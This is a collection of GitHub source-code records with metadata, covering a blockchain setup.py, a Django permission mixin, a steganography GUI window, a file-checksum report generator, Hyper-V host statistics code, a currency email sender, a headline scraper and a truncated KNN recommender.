{"api_name": "bot.extensions", "line_number": 27, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 69, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 71, "usage_type": "call"}, {"api_name": "bot.consts.Colors.Purple", "line_number": 71, "usage_type": "attribute"}, {"api_name": "bot.consts.Colors", "line_number": 71, "usage_type": "name"}, {"api_name": "bot.extensions.command", "line_number": 49, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 49, "usage_type": "name"}, {"api_name": "bot.extensions.long_help", "line_number": 50, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 50, "usage_type": "name"}, {"api_name": "bot.extensions.short_help", "line_number": 60, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 60, "usage_type": "name"}, {"api_name": "bot.extensions.example", "line_number": 61, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 61, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 104, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 104, "usage_type": "call"}, {"api_name": "bot.consts.Colors.Purple", "line_number": 104, "usage_type": "attribute"}, {"api_name": "bot.consts.Colors", "line_number": 104, "usage_type": "name"}, {"api_name": "bot.extensions.command", "line_number": 75, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 75, "usage_type": "name"}, {"api_name": "bot.extensions.long_help", "line_number": 76, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 76, "usage_type": "name"}, {"api_name": "bot.extensions.short_help", "line_number": 79, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 79, "usage_type": "name"}, {"api_name": "bot.extensions.example", "line_number": 80, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 80, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 114, "usage_type": "call"}, {"api_name": "bot.messaging.events.Events.on_set_deletable", "line_number": 118, "usage_type": "attribute"}, {"api_name": "bot.messaging.events.Events", "line_number": 118, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 120, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 121, "usage_type": "call"}, {"api_name": "bot.consts.Colors.Error", "line_number": 121, "usage_type": "attribute"}, {"api_name": "bot.consts.Colors", "line_number": 121, "usage_type": "name"}, {"api_name": "bot.messaging.events.Events.on_set_deletable", "line_number": 124, "usage_type": "attribute"}, {"api_name": "bot.messaging.events.Events", "line_number": 124, "usage_type": "name"}, {"api_name": "bot.extensions.command", "line_number": 107, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 107, "usage_type": "name"}, {"api_name": "bot.extensions.long_help", "line_number": 108, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 108, "usage_type": "name"}, {"api_name": "bot.extensions.short_help", "line_number": 111, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 111, "usage_type": "name"}, {"api_name": "bot.extensions.example", "line_number": 112, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 112, "usage_type": "name"}, {"api_name": "bot.extensions.add_cog", "line_number": 128, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 128, "usage_type": "name"}]}
{"seq_id": "13157601675", "text": "from __future__ import annotations\n\nimport os\nimport sys\n\nfrom setuptools import setup\n\ndependencies = [\n    \"aiofiles==22.1.0\",  # Async IO for files\n    \"blspy==1.0.16\",  # Signature library\n    \"chiavdf==1.0.8\",  # timelord and vdf verification\n    \"chiabip158==1.2\",  # bip158-style wallet filters\n    \"chiapos==1.0.11\",  # proof of space\n    \"clvm==0.9.7\",\n    \"clvm_tools==0.4.6\",  # Currying, Program.to, other conveniences\n    \"chia_rs==0.2.0\",\n    \"clvm-tools-rs==0.1.30\",  # Rust implementation of clvm_tools' compiler\n    \"aiohttp==3.8.3\",  # HTTP server for full node rpc\n    \"aiosqlite==0.17.0\",  # asyncio wrapper for sqlite, to store blocks\n    \"bitstring==3.1.9\",  # Binary data management library\n    \"colorama==0.4.5\",  # Colorizes terminal output\n    \"colorlog==6.7.0\",  # Adds color to logs\n    \"concurrent-log-handler==0.9.20\",  # Concurrently log and rotate logs\n    \"cryptography==38.0.3\",  # Python cryptography library for TLS - keyring conflict\n    \"filelock==3.8.0\",  # For reading and writing config multiprocess and multithread safely  (non-reentrant locks)\n    \"keyring==23.9.3\",  # Store keys in MacOS Keychain, Windows Credential Locker\n    \"PyYAML==6.0\",  # Used for config file format\n    \"setproctitle==1.2.3\",  # Gives the one processes readable names\n    \"sortedcontainers==2.4.0\",  # For maintaining sorted mempools\n    \"click==8.1.3\",  # For the CLI\n    \"dnspython==2.2.1\",  # Query DNS seeds\n    \"watchdog==2.2.0\",  # Filesystem event watching - watches keyring.yaml\n    \"dnslib==0.9.23\",  # dns lib\n    \"typing-extensions==4.4.0\",  # typing backports like Protocol and TypedDict\n    \"zstd==1.5.2.6\",\n    \"packaging==21.3\",\n    \"psutil==5.9.4\",\n]\n\nupnp_dependencies = [\n    \"miniupnpc==2.2.2\",  # Allows users to open ports on their router\n]\n\ndev_dependencies = [\n    \"anyio\",\n    \"build\",\n    \"coverage\",\n    \"diff-cover\",\n    \"pre-commit\",\n    \"py3createtorrent\",\n    \"pylint\",\n    \"pytest\",\n    \"pytest-asyncio>=0.18.1\",  # require attribute 'fixture'\n    \"pytest-cov\",\n    \"pytest-monitor; sys_platform == 'linux'\",\n    \"pytest-xdist\",\n    \"twine\",\n    \"isort\",\n    \"flake8\",\n    # TODO: remove this pin after fixing the new complaints\n    \"mypy<1\",\n    \"black==22.10.0\",\n    \"aiohttp_cors\",  # For blackd\n    \"ipython\",  # For asyncio debugging\n    \"pyinstaller==5.6.2\",\n    \"types-aiofiles\",\n    \"types-cryptography\",\n    \"types-pkg_resources\",\n    \"types-pyyaml\",\n    \"types-setuptools\",\n]\n\nlegacy_keyring_dependencies = [\n    \"keyrings.cryptfile==1.3.9\",\n]\n\nkwargs = dict(\n    name=\"one-blockchain\",\n    author=\"Mariano Sorgente\",\n    author_email=\"admin@onechain.vip\",\n    description=\"One blockchain full node, farmer, timelord, and wallet.\",\n    url=\"https://onechain.vip/\",\n    license=\"Apache License\",\n    python_requires=\">=3.7, <4\",\n    keywords=\"one blockchain node\",\n    install_requires=dependencies,\n    extras_require=dict(\n        dev=dev_dependencies,\n        upnp=upnp_dependencies,\n        legacy_keyring=legacy_keyring_dependencies,\n    ),\n    packages=[\n        \"build_scripts\",\n        \"one\",\n        \"one.cmds\",\n        \"one.clvm\",\n        \"one.consensus\",\n        \"one.daemon\",\n        \"one.data_layer\",\n        \"one.full_node\",\n        \"one.timelord\",\n        \"one.farmer\",\n        \"one.harvester\",\n        \"one.introducer\",\n        \"one.plot_sync\",\n        \"one.plotters\",\n        \"one.plotting\",\n        \"one.pools\",\n        \"one.protocols\",\n        \"one.rpc\",\n        \"one.seeder\",\n        \"one.server\",\n        \"one.simulator\",\n        \"one.types.blockchain_format\",\n        \"one.types\",\n        \"one.util\",\n        \"one.wallet\",\n        \"one.wallet.db_wallet\",\n        \"one.wallet.puzzles\",\n        \"one.wallet.cat_wallet\",\n        \"one.wallet.did_wallet\",\n        \"one.wallet.nft_wallet\",\n        \"one.wallet.settings\",\n        \"one.wallet.trading\",\n        \"one.wallet.util\",\n        \"one.ssl\",\n        \"mozilla-ca\",\n    ],\n    entry_points={\n        \"console_scripts\": [\n            \"one = one.cmds.one:main\",\n            \"one_daemon = one.daemon.server:main\",\n            \"one_wallet = one.server.start_wallet:main\",\n            \"one_full_node = one.server.start_full_node:main\",\n            \"one_harvester = one.server.start_harvester:main\",\n            \"one_farmer = one.server.start_farmer:main\",\n            \"one_introducer = one.server.start_introducer:main\",\n            \"one_crawler = one.seeder.start_crawler:main\",\n            \"one_seeder = one.seeder.dns_server:main\",\n            \"one_timelord = one.server.start_timelord:main\",\n            \"one_timelord_launcher = one.timelord.timelord_launcher:main\",\n            \"one_full_node_simulator = one.simulator.start_simulator:main\",\n            \"one_data_layer = one.server.start_data_layer:main\",\n            \"one_data_layer_http = one.data_layer.data_layer_server:main\",\n        ]\n    },\n    package_data={\n        \"one\": [\"pyinstaller.spec\"],\n        \"\": [\"*.clvm\", \"*.clvm.hex\", \"*.clib\", \"*.clinc\", \"*.clsp\", \"py.typed\"],\n        \"one.util\": [\"initial-*.yaml\", \"english.txt\"],\n        \"one.ssl\": [\"one_ca.crt\", \"one_ca.key\", \"dst_root_ca.pem\"],\n        \"mozilla-ca\": [\"cacert.pem\"],\n    },\n    long_description=open(\"README.md\").read(),\n    long_description_content_type=\"text/markdown\",\n    zip_safe=False,\n    project_urls={\n        \"Source\": \"https://github.com/xone-network/one-blockchain/\",\n        \"Changelog\": \"https://github.com/xone-network/one-blockchain/blob/main/CHANGELOG.md\",\n    },\n)\n\nif \"setup_file\" in sys.modules:\n    # include dev deps in regular deps when run in snyk\n    dependencies.extend(dev_dependencies)\n\nif len(os.environ.get(\"ONE_SKIP_SETUP\", \"\")) < 1:\n    setup(**kwargs)  # type: ignore\n", "repo_name": "xone-network/one-blockchain", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 5660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.modules", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 167, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 167, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 168, "usage_type": "call"}]}
{"seq_id": "7280521950", "text": "from django.core.exceptions import ImproperlyConfigured, PermissionDenied\n\n\nclass OwnerOrSuperUserRequiredMixin:\n    owner_path = \"user\"\n\n    def check_permission(self, request):\n        if request.user.is_staff:\n            return True  # Superusers are allowed to do anything\n\n        obj = (hasattr(self, 'get_object') and self.get_object()\n               or getattr(self, 'object', None))\n\n        if not hasattr(obj, self.owner_path):\n            raise ImproperlyConfigured(\"'OwnerOrSuperUserRequiredMixin' requires \"\n                                       \"'owner_path' attribute to be set to object's user path\"\n                                       \"(e.g. owner)\")\n\n        user = getattr(obj, self.owner_path)\n        if user == request.user:\n            return True  # The current user is the owner, he has permission\n        else:\n            return False\n\n    def dispatch(self, request, *args, **kwargs):\n        self.request = request\n        self.args = args\n        self.kwargs = kwargs\n        allowed = self.check_permission(request)\n        if not allowed:\n            raise PermissionDenied()\n        return super(OwnerOrSuperUserRequiredMixin, self).dispatch(request, *args, **kwargs)\n", "repo_name": "martin-marinov/python-evans", "sub_path": "python_evans_project/mixins.py", "file_name": "mixins.py", "file_ext": "py", "file_size_in_byte": 1207, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 15, "usage_type": "call"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "20277676723", "text": "from multiprocessing import cpu_count\n\nfrom PyQt5.QtCore import QThreadPool\nfrom PyQt5.QtWidgets import QMainWindow, QTabWidget\n\nfrom stegano.gui.widget.conceal_tab import ConcealTab\nfrom stegano.gui.widget.extract_tab import ExtractTab\n\n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super(MainWindow, self).__init__()\n\n        QThreadPool.globalInstance().setMaxThreadCount(cpu_count())\n\n        self._setup_ui()\n\n    def _setup_ui(self):\n        self.setWindowTitle('Steganography')\n        self.setMinimumSize(500, 650)\n\n        self._conceal_tab = ConcealTab()\n        self._extract_tab = ExtractTab()\n\n        self._tab_bar = QTabWidget()\n        self._tab_bar.addTab(self._conceal_tab, 'Conceal')\n        self._tab_bar.addTab(self._extract_tab, 'Extract')\n\n        self.setCentralWidget(self._tab_bar)\n", "repo_name": "SteveImmanuel/multimedia-stegano", "sub_path": "stegano/gui/main_window.py", "file_name": "main_window.py", "file_ext": "py", "file_size_in_byte": 826, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 10, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThreadPool.globalInstance", "line_number": 14, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThreadPool", "line_number": 14, "usage_type": "name"}, {"api_name": "multiprocessing.cpu_count", "line_number": 14, "usage_type": "call"}, {"api_name": "stegano.gui.widget.conceal_tab.ConcealTab", "line_number": 22, "usage_type": "call"}, {"api_name": "stegano.gui.widget.extract_tab.ExtractTab", "line_number": 23, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTabWidget", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "70961929211", "text": "__author__ = \"jzs\"\n__copyright__ = \"@COPYLEFT 2017 ALL WRONGS RESERVED\"\n\nfrom docx import Document\nfrom docx.shared import Pt\nimport os, time, argparse\nimport hashlib, zlib\n\ndef md5(fname):\n    hash_md5 = hashlib.md5()\n    with open(fname, \"rb\") as f:\n        for chunk in iter(lambda: f.read(2**16), b\"\"):\n            hash_md5.update(chunk)\n    return hash_md5.hexdigest()\n\ndef sha1(fname):\n    sha1sum = hashlib.sha1()\n    with open(fname, \"rb\") as f:\n        for chunk in iter(lambda: f.read(2**16), b\"\"):\n            sha1sum.update(chunk)\n    return sha1sum.hexdigest()\n\ndef crc32(fname):\n    __digest = 0\n    with open(fname, \"rb\") as f:\n        for chunk in iter(lambda: f.read(2**16), b\"\"):\n            __digest = zlib.crc32(chunk, __digest) & 0xffffffff \n    return '{:08x}'.format(__digest)\n\n\nparser = argparse.ArgumentParser(description='Scan source folder and generate level 1 doc for FSTEK.')\nparser.add_argument('-i', '--input-dir', type=str, metavar='folder_path', required=True,\n                    help='input folder path that points to the root of source code. default is current folder')\nparser.add_argument('-o', '--output-file', default='document_lvl1.docx', type=str, metavar='file_name', \n                    help='output file name. default is `document_level1.docx`')\nparser.add_argument('-s', '--suffixes', nargs='*', default='.cpp', \n                    help='file suffix(es) that you want to put into doc. e.g. `--suffixes .cpp .h`')\nparser.add_argument('--max', default=-1, metavar='number_of_files', type=int,\n                    help='max number of source files you want to put into docx file.')\nargs = parser.parse_args()\n\nsource_list = []\nfor root, dirs, files in os.walk(args.input_dir):\n    for file in files:\n        if any(file.endswith(suffix) for suffix in args.suffixes):\n            source_list.append((root, file))\nfile_cnt = len(source_list)\nif args.max > 0:\n    file_cnt = args.max\n\nrow_per_file = 3\ncol_per_file = 6\n#row_cnt = file_cnt * row_per_file + 1\n\ndocument = Document()\n\ntable = document.add_table(rows=1, cols=col_per_file)\ntable.style = 'Table Grid'\ntable.style.font.name = 'Times New Roman'\ntable.style.font.size = Pt(10)\n\n#write the header:\nrun = table.cell(0, 0).add_paragraph().add_run()\nrun.text = '№ пп'\nrun.font.bold = True\nrun = table.cell(0, 1).add_paragraph().add_run()\nrun.text = 'Имя файла'\nrun.font.bold = True\nrun = table.cell(0, 2).add_paragraph().add_run()\nrun.text = 'Дата создания'\nrun.font.bold = True\nrun = table.cell(0, 3).add_paragraph().add_run()\nrun.text = 'Длина, байт'\nrun.font.bold = True\nrun = table.cell(0, 4).add_paragraph().add_run()\nrun.text = 'КС (алгоритм ВКС)'\nrun.font.bold = True\nrun = table.cell(0, 5).add_paragraph().add_run()\nrun.text = 'Выполняемая функция'\nrun.font.bold = True\n\nfor i in range(file_cnt):\n    path, name = source_list[i]\n    fname = os.path.join(path, name)\n\n    cells = table.add_row().cells\n    cells[0].text = str(i+1)\n    cells[1].text = name\n    (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(fname)\n    cells[2].text = time.strftime(\"%d.%m.%y %H-%M\", time.gmtime(ctime))\n    length = str(size)\n    checksum = crc32(fname)\n    cells[3].text = length\n    cells[4].text = checksum\n    cells[5].text = 'description'\n\n    cells = table.add_row().cells\n    cells[0].merge(cells[2])\n    cells[0].text = 'итого: файлов - 1'\n    cells[3].text = length\n    cells[4].text = checksum\n\n    cells = table.add_row().cells\n    cells[0].merge(cells[-1])\n    cells[0].text = \"Каталог %s\" % (path)\n\n    if (i+1) % 10 == 0:\n        print(\"%d / %d = %3.2f%%\" % (i+1, file_cnt, (i+1)/file_cnt * 100.0))\n\ndocument.save(args.output_file)\n", "repo_name": "jimzshi/mypy", "sub_path": "office/office/doc_lvl1.py", "file_name": "doc_lvl1.py", "file_ext": "py", "file_size_in_byte": 3737, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "hashlib.md5", "line_number": 10, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 17, "usage_type": "call"}, {"api_name": "zlib.crc32", "line_number": 27, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 31, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 43, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 55, "usage_type": "call"}, {"api_name": "docx.shared.Pt", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.stat", "line_number": 89, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 90, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 90, "usage_type": "call"}]}
{"seq_id": "41662130466", "text": "import ctypes\nimport multiprocessing\nimport os\nimport platform\n\nfrom nova.openstack.common import cfg\nfrom nova.openstack.common import jsonutils\nfrom nova.openstack.common import log as logging\nfrom nova.virt.hyperv import baseops\nfrom nova.virt.hyperv import constants\n\nCONF = cfg.CONF\nLOG = logging.getLogger(__name__)\n\n\nclass HostOps(baseops.BaseOps):\n    def __init__(self):\n        super(HostOps, self).__init__()\n        self._stats = None\n\n    def _get_cpu_info(self):\n        \"\"\"Get the CPU information.\n        :returns: A dictionary containing the main properties\n        of the central processor in the hypervisor.\n        \"\"\"\n        cpu_info = dict()\n        processor = self._conn_cimv2.query(\n            \"SELECT * FROM Win32_Processor WHERE ProcessorType = 3\")\n\n        cpu_info['arch'] = constants.WMI_WIN32_PROCESSOR_ARCHITECTURE\\\n            .get(processor[0].Architecture, 'Unknown')\n        cpu_info['model'] = processor[0].Name\n        cpu_info['vendor'] = processor[0].Manufacturer\n\n        topology = dict()\n        topology['sockets'] = len(processor)\n        topology['cores'] = processor[0].NumberOfCores\n        topology['threads'] = processor[0].NumberOfLogicalProcessors\\\n            / processor[0].NumberOfCores\n        cpu_info['topology'] = topology\n\n        features = list()\n        for fkey, fname in constants.PROCESSOR_FEATURE.items():\n            if ctypes.windll.kernel32.IsProcessorFeaturePresent(fkey):\n                features.append(fname)\n        cpu_info['features'] = features\n\n        return jsonutils.dumps(cpu_info)\n\n    def _get_vcpu_total(self):\n        \"\"\"Get vcpu number of physical computer.\n        :returns: the number of cpu core.\n        \"\"\"\n        # On certain platforms, this will raise a NotImplementedError.\n        try:\n            return multiprocessing.cpu_count()\n        except NotImplementedError:\n            LOG.warn(_(\"Cannot get the number of cpu, because this \"\n                       \"function is not implemented for this platform. \"\n                       \"This error can be safely ignored for now.\"))\n            return 0\n\n    def _get_memory_mb_total(self):\n        \"\"\"Get the total memory size(MB) of physical computer.\n        :returns: the total amount of memory(MB).\n        \"\"\"\n        total_kb = self._conn_cimv2.query(\n            \"SELECT TotalVisibleMemorySize FROM win32_operatingsystem\")[0]\\\n            .TotalVisibleMemorySize\n        total_mb = long(total_kb) / 1024\n        return total_mb\n\n    def _get_local_hdd_info_gb(self):\n        \"\"\"Get the total and used size of the volume containing\n           CONF.instances_path expressed in GB.\n        :returns:\n            A tuple with the total and used space in GB.\n        \"\"\"\n        normalized_path = os.path.normpath(CONF.instances_path)\n        drive, path = os.path.splitdrive(normalized_path)\n        hdd_info = self._conn_cimv2.query(\n            (\"SELECT FreeSpace,Size FROM win32_logicaldisk WHERE DeviceID='%s'\"\n            ) % drive)[0]\n        total_gb = long(hdd_info.Size) / (1024 ** 3)\n        free_gb = long(hdd_info.FreeSpace) / (1024 ** 3)\n        used_gb = total_gb - free_gb\n        return total_gb, used_gb\n\n    def _get_vcpu_used(self):\n        \"\"\"Get vcpu usage number of physical computer.\n        :returns: The total number of vcpu that currently used.\n        \"\"\"\n        #TODO(jordanrinke) figure out a way to count assigned VCPUs\n        total_vcpu = 0\n        return total_vcpu\n\n    def _get_memory_mb_used(self):\n        \"\"\"Get the free memory size(MB) of physical computer.\n        :returns: the total usage of memory(MB).\n        \"\"\"\n        total_kb = self._conn_cimv2.query(\n            \"SELECT FreePhysicalMemory FROM win32_operatingsystem\")[0]\\\n                .FreePhysicalMemory\n        total_mb = long(total_kb) / 1024\n\n        return total_mb\n\n    def _get_hypervisor_version(self):\n        \"\"\"Get hypervisor version.\n        :returns: hypervisor version (ex. 12003)\n        \"\"\"\n        version = self._conn_cimv2.Win32_OperatingSystem()[0]\\\n            .Version.replace('.', '')\n        LOG.info(_('Windows version: %s ') % version)\n        return version\n\n    def get_available_resource(self):\n        \"\"\"Retrieve resource info.\n\n        This method is called when nova-compute launches, and\n        as part of a periodic task.\n\n        :returns: dictionary describing resources\n\n        \"\"\"\n        LOG.info(_('get_available_resource called'))\n\n        local_gb, used_gb = self._get_local_hdd_info_gb()\n        dic = {'vcpus': self._get_vcpu_total(),\n               'memory_mb': self._get_memory_mb_total(),\n               'local_gb': local_gb,\n               'vcpus_used': self._get_vcpu_used(),\n               'memory_mb_used': self._get_memory_mb_used(),\n               'local_gb_used': used_gb,\n               'hypervisor_type': \"hyperv\",\n               'hypervisor_version': self._get_hypervisor_version(),\n               'hypervisor_hostname': platform.node(),\n               'cpu_info': self._get_cpu_info()}\n\n        return dic\n\n    def _update_stats(self):\n        LOG.debug(_(\"Updating host stats\"))\n\n        data = {}\n        data[\"disk_total\"], data[\"disk_used\"] = self._get_local_hdd_info_gb()\n        data[\"disk_available\"] = data[\"disk_total\"] - data[\"disk_used\"]\n        data[\"host_memory_total\"] = self._get_memory_mb_total()\n        data[\"host_memory_overhead\"] = self._get_memory_mb_used()\n        data[\"host_memory_free\"] = \\\n            data[\"host_memory_total\"] - data[\"host_memory_overhead\"]\n        data[\"host_memory_free_computed\"] = data[\"host_memory_free\"]\n        data[\"supported_instances\"] = \\\n            [('i686', 'hyperv', 'hvm'),\n             ('x86_64', 'hyperv', 'hvm')]\n        data[\"hypervisor_hostname\"] = platform.node()\n\n        self._stats = data\n\n    def get_host_stats(self, refresh=False):\n        \"\"\"Return the current state of the host. If 'refresh' is\n           True, run the update first.\"\"\"\n        LOG.info(_(\"get_host_stats called\"))\n\n        if refresh or not self._stats:\n            self._update_stats()\n        return self._stats\n\n    def host_power_action(self, host, action):\n        \"\"\"Reboots, shuts down or powers up the host.\"\"\"\n        pass\n", "repo_name": "maoy/zknova", "sub_path": "nova/virt/hyperv/hostops.py", "file_name": "hostops.py", "file_ext": "py", "file_size_in_byte": 6191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "nova.openstack.common.cfg.CONF", "line_number": 12, "usage_type": "attribute"}, {"api_name": "nova.openstack.common.cfg", "line_number": 12, "usage_type": "name"}, {"api_name": "nova.openstack.common.log.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "nova.openstack.common.log", "line_number": 13, "usage_type": "name"}, {"api_name": "nova.virt.hyperv.baseops.BaseOps", "line_number": 16, "usage_type": "attribute"}, {"api_name": "nova.virt.hyperv.baseops", "line_number": 16, "usage_type": "name"}, {"api_name": "nova.virt.hyperv.constants.WMI_WIN32_PROCESSOR_ARCHITECTURE.get", "line_number": 30, "usage_type": "call"}, {"api_name": "nova.virt.hyperv.constants.WMI_WIN32_PROCESSOR_ARCHITECTURE", "line_number": 30, "usage_type": "attribute"}, {"api_name": "nova.virt.hyperv.constants", "line_number": 30, "usage_type": "name"}, {"api_name": "nova.virt.hyperv.constants.PROCESSOR_FEATURE.items", "line_number": 43, "usage_type": "call"}, {"api_name": "nova.virt.hyperv.constants.PROCESSOR_FEATURE", "line_number": 43, "usage_type": "attribute"}, {"api_name": "nova.virt.hyperv.constants", "line_number": 43, "usage_type": "name"}, {"api_name": "ctypes.windll.kernel32.IsProcessorFeaturePresent", "line_number": 44, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 44, "usage_type": "attribute"}, {"api_name": "nova.openstack.common.jsonutils.dumps", "line_number": 48, "usage_type": "call"}, {"api_name": "nova.openstack.common.jsonutils", "line_number": 48, "usage_type": "name"}, {"api_name": "multiprocessing.cpu_count", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.normpath", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path.splitdrive", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "platform.node", "line_number": 137, "usage_type": "call"}, {"api_name": "platform.node", "line_number": 156, "usage_type": "call"}]}
{"seq_id": "18706875434", "text": "import smtplib\nimport schedule, time\nimport requests\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom db_connection import dbConnection\nfrom datetime import date\nfrom decouple import config\n\n#configs and init\nsender = \"sibo.currencybot1@gmail.com\"\npassword = config(\"email_password\", default=\"\")\napikey = config(\"currency_apikey\", default=\"\")\ndb = dbConnection()\n\n\ndef SMTP_init():\n    server = smtplib.SMTP(host='smtp.gmail.com', port=587)\n    server.starttls()\n    server.login(sender, password)\n    return server\n\ndef construct_messgae(des, name, base , target, amount, today):\n    msg = MIMEMultipart()\n\n    message = f\"Hi {name},\\n1 {base} worth {amount} {target} on {today} \"\n    msg['From'] = sender\n    msg['To'] = des\n    msg['Subject'] = \"Today's currency\"\n\n    msg.attach(MIMEText(message, 'plain'))\n    return msg\n\ndef send_email():\n    # make the api call there, probably store all the pair in dictionary like structure to reduce the \n    # amount of api calls\n    server = SMTP_init()\n    currency_pairs = {}\n    bases = [\"USD\", \"CAD\", \"CNY\", \"EUR\"]\n    currencies = [\"USD\", \"CAD\", \"CNY\", \"EUR\"]\n    for base in bases:\n        response = requests.get(f\"https://freecurrencyapi.net/api/v2/latest?apikey={apikey}&base_currency={base}\").json()\n        for currency in currencies:\n            if currency != base:\n                currency_pairs[f\"{base}_to_{currency}\"] = response[\"data\"][currency]\n    \n    for user in db.retrieve_today_users():\n        msg = construct_messgae(user[\"email\"], user[\"firstName\"],user[\"base\"], user[\"target\"], amount=currency_pairs.get(f\"{user['base']}_to_{user['target']}\"), today=date.today().strftime(\"%m/%d/%Y\"))\n        server.send_message(msg)\n        print(f\"Message sent to someone {user['firstName']}\")\n\nschedule.every().day.at(\"10:30\").do(send_email)\n\nwhile 1:\n    schedule.run_pending()\n    time.sleep(1)\n\n", "repo_name": "SiboYang/currency", "sub_path": "email/email_sender.py", "file_name": "email_sender.py", "file_ext": "py", "file_size_in_byte": 1899, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "decouple.config", "line_number": 12, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 13, "usage_type": "call"}, {"api_name": "db_connection.dbConnection", "line_number": 14, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 18, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 24, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 48, "usage_type": "name"}, {"api_name": "schedule.every", "line_number": 52, "usage_type": "call"}, {"api_name": "schedule.run_pending", "line_number": 55, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "40850955298", "text": "import requests\nfrom bs4 import BeautifulSoup \n\nurl = \"http://www.nytimes.com/\"\nr = requests.get(url)\nsoup = BeautifulSoup(r.text)\n#print(soup)\n\ng_data = soup.find_all(class_=\"story-heading\")\n\nfor item in g_data:\n\tprint(item.text.replace(\"\\n\" , \" \").strip())", "repo_name": "gouravtulsani/learning-python", "sub_path": "webscrap1.py", "file_name": "webscrap1.py", "file_ext": "py", "file_size_in_byte": 258, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 5, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "27510303798", "text": "from sklearn.metrics.pairwise import cosine_similarity\nfrom tqdm import tqdm\n\nimport numpy as np\n\nclass K_Nearest_Neighbor(object):\n    def __init__(self):\n        pass\n\n    def train(self, matrix_train):\n        self.similarity = cosine_similarity(X=matrix_train, Y=None, dense_output=True)\n\n    def predict(self, matrix_train, k, lambda_diversity=0, lambda_serendipity=0):\n        prediction_scores = []\n\n        if lambda_serendipity != 0:\n            item_pop_matrix = matrix_train.toarray().sum(axis=0)\n            num_users = matrix_train.shape[0]\n\n        if lambda_diversity != 0:\n            self.item_similarity = cosine_similarity(X=matrix_train.T, Y=None, dense_output=True)\n            num_items = matrix_train.shape[1]\n\n        for user_index in tqdm(range(matrix_train.shape[0])):\n            # Get user u's similarity to all users\n            vector_u = self.similarity[user_index]\n\n            # Get closest K neighbors excluding user u self\n            similar_users = vector_u.argsort()[::-1][1:k+1]\n\n            # Get neighbors similarity weights and ratings\n            similar_users_weights = self.similarity[user_index][similar_users]\n            similar_users_ratings = matrix_train[similar_users].toarray()\n\n            prediction_scores_u = similar_users_ratings * similar_users_weights[:, np.newaxis]\n            prediction_score = np.sum(prediction_scores_u, 